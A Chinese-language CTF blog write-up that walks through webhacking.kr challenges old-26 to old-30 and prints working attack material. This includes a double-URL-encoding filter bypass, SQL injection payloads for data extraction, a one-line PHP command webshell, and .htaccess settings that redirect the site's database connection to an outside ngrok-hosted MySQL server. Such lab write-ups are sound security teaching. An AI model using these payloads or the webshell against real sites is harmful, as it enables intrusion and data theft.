webhacking.kr 一天五題系列 VI

Albert Huang MED student | CS enthusiast

old-26

本題考點:雙重 urlencode()、WAF 繞過

來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
a { color:lightgreen; }
</style>
</head>
<body>
<?php
if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "admin"){
solve(26);
}
?>
<br><br>
<a href=?view_source=1>view-source</a>
</body>
</html>

目標很明確,要讓 id=admin,但 regex 禁止直接指定 id=admin。不過在比對完 regex 之後,他還會再進行一次 urldecode,因此我們可以讓 admin urlencode 兩次後送到 id 裡面,這樣經過瀏覽器和程式兩次 urldecode 之後,最後出來的結果就會是 admin

使用 Python 實作:

1
2
3
4
5
6
7
8
def urlencode(text):
encoded_text = ""
for char in text:
encoded_text += f"%{hex(ord(char))[2:]}"
return encoded_text

id = 'admin'
print(urlencode(urlencode(id)))

old-27

本題考點:SQLi

又來到了 SQLi 的時間,這次有給 source code,來看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

先來看一下他的 regex 限制了什麼:

  1. #( =
  2. selectlimit0x (case sensitive)

然後來看一下他的表達式:

1
select id from chall27 where id='guest' and no=({$_GET['no']})

因為它限制了 ( 的使用,因此我們無法直接將括號閉合,但可以嘗試使用 -- 的註解方式直接繞過,並且直接省略需要括號的 no,嘗試構造以下 payload(將空白置換為 tab %09):

1
select id from chall27 where id='guest' and no=(2) or id like 'admin' -- )

old-28

本題考點:webshell upload、.htaccess 覆蓋 Apache 行為

進到題目之後直接說明題目重點:

1
2
Mission : read ./upload/l23JEe5A0D8T/flag.php
your file will be upload at ./upload/l23JEe5A0D8T/

可能要上傳 shell 的題目,製作一個 shell.php 如下:

1
2
3
<?php
system($_GET['cmd']);
?>

但上傳之後發現開頭的 < 會被擋掉,因此不會被作為 php 執行,但直接讀 flag.php 也會因為可執行 php 而讀不到東西。

上網查詢之後發現可以透過上傳 .htaccess 來讓自動執行 php 關閉,就可讀到檔案內容,設定如下:

1
php_flag engine off

上傳後再次訪問 flag.php 即可看到 php 內容。

old-29

本題考點:Blind SQLi with INSERT

根據提示:

1
2
NOTICE
FLAG is in another table.

所以這題應該也是 SQLi,下面有一個表格用來記錄上傳,上傳一個檔案然後用 BurpSuite 看一下:

1
2
3
4
...
------WebKitFormBoundarypz4VAfCYKpLwYRJs
Content-Disposition: form-data; name="upfile"; filename="test.txt"
...

我們可控的部分只有 filename,而最常用來輸入表格的方式就是 INSERT,因此可能是如 INSERT INTO chall29(time, ip, file) values ('a', 'b', 'c') 的形式,不過因為有三個欄位,並不確定 filename 位於第幾欄,因此透過以下情況測試:

1
2
3
4
5
6
time, ip, file -> 123')# -> X
ip, time, file -> 123')# -> X
time, file, ip -> 123', '<ip>')# -> X
ip, file, time -> 123', 456)# -> X
file, ip, time -> 123', '<ip>', 789)# -> X
file, time, ip -> 123', 456, '<ip>')# -> O

在確定欄位之後,就可以在 file 的地方進行一些 SQLi 了,首先是 database 名稱:

1
123', 456, '<ip>'), ((SELECT database()), 0, '<ip>')#

接著是 table 跟 column:

1
2
123', 456, '<ip>'), ((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='<database>'), 0, '<ip>')#
123', 456, '<ip>'), ((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<table>'), 0, '<ip>')#

最後拿到 flag 即可。

old-30

本題考點:PHP mysqli_connect() 缺省參數漏洞、Remote Database Hijacking

給了一個上傳檔案的地方,一樣先來看一下 source code:

1
2
3
4
5
6
7
8
9
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>

我們的目標是讓連線時可以找到 database 和 flag 的內容,而網站上的資料庫並沒有這些內容。不過可以發現它在連接到 mysql 的時候並沒有指定參數,因此會採用預設參數,我們來翻一下 manual 看看這些參數可以設定在哪裡:

1
2
3
4
5
mysqli.default_port	"3306"	INI_ALL	 
mysqli.default_socket NULL INI_ALL
mysqli.default_host NULL INI_ALL
mysqli.default_user NULL INI_ALL 自PHP 5.0.0起可用。
mysqli.default_pw NULL INI_ALL
1
2
3
4
INI_USER ( int )	可以在使用者腳本(如使用ini_set())或Windows 註冊表中設定條目。可以在.user.ini設定條目
INI_PERDIR ( int ) 可以在php.ini、.htaccess、httpd.conf或.user.ini設定條目
INI_SYSTEM ( int ) 可以在php.ini或httpd.conf中設定條目
INI_ALL ( int ) 條目可以設定在任何地方

好的,看來我們可以將它設定在任何地方,那我們就將我們的參數設定在 .htaccess 裡,然後嘗試讓這個網站連接到我們自己的 mysql 並達成條件。

首先設定自己本機上的 mysql:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> create database chall30;
Query OK, 1 row affected (0.01 sec)

mysql> use chall30;
Database changed
mysql> create table chall30_answer(
-> flag int
-> );
Query OK, 0 rows affected (0.02 sec)

mysql> insert into chall30_answer values('123456');
Query OK, 1 row affected (0.01 sec)

這樣就符合題目的要求了,接著使用 ngrok 轉送 3306 port 讓網站也能連到,並且設定 .htaccess

1
2
3
4
php_value mysqli.default_port "15105"
php_value mysqli.default_host "0.tcp.jp.ngrok.io"
php_value mysqli.default_user "m3t30r"
php_value mysqli.default_pw "m3t30r"

接著設定權限讓網站也讀得到內容:

1
2
3
4
5
mysql> CREATE USER 'm3t30r'@'localhost' IDENTIFIED BY 'm3t30r';
Query OK, 0 rows affected (0.01 sec)

mysql> GRANT ALL PRIVILEGES ON chall30.* TO 'm3t30r'@'localhost';
Query OK, 0 rows affected (0.00 sec)

接著去訪問 upload 裡面的 index.php 就可以拿到 flag 了。

  • Title: webhacking.kr 一天五題系列 VI
  • Author: Albert Huang
  • Created at : 2026-06-21 08:52:37
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/21/webhacking-writeup-6/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 VI